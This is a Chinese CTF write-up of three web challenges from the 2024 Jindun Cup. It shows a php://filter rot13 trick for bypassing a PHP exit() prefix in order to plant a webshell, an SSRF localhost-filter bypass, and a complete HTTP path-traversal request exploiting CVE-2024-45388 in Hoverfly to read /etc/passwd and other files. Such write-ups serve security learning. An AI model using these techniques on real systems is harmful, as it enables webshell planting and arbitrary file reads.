2024金盾杯
fillllll_put
<?php
highlight_file(__FILE__);
$filename=$_GET['filename'];
if(isset($filename)){
$content=$_GET['content'];
file_put_contents($filename,'<?php exit();'.$content);
}
典型的通过<?php exit();来隔绝我们想要上传的一句话木马,这里有两种方法来绕过:
方法一:使用base64编码来绕过,需要考虑到base编码的4位整数问题
方法二:使用rot13编码来绕过
这样就可以rot13编码绕过exit函数,并且执行我们的php代码。
payload为:
?filename=php://filter/write=string.rot13/resource=ssl.php&content=
这里的file_put_content函数会创建ssl.php,访问ssl.php,通过蚁剑链接即可,密码为ssl
找了一下发现flag在/tmp/flag.txt中
ssrf
基础的ssrf,但是试了一下localhost和127.0.0.1发现不可以,这里改进制即可
hoverfly
发现是cve-2024-45388漏洞
上网找了一个请求包
POST /api/v2/simulation HTTP/1.1
Host: 127.0.0.1:8888
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8888/dashboard
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 126
Content-Type: application/x-www-form-urlencoded
{"data":{"pairs":[{
"request":{},"response": {
"bodyFile": "../../../../../etc/passwd"}} ]},"meta":{"schemaVersion":"v5.2"}}
改动为题目url即可,这里发现post只能完成一次的任意文件读取,改用PUT可以实现不限次数的任意文件读取,
改动=="bodyFile": "../../../../../flag"==,发现回显了一个假的flag,this is not flag,尝试读取日志文件
=="bodyFile": "../../../../../var/log/syslog"给出了flag的位置,==
最终读取flag即可。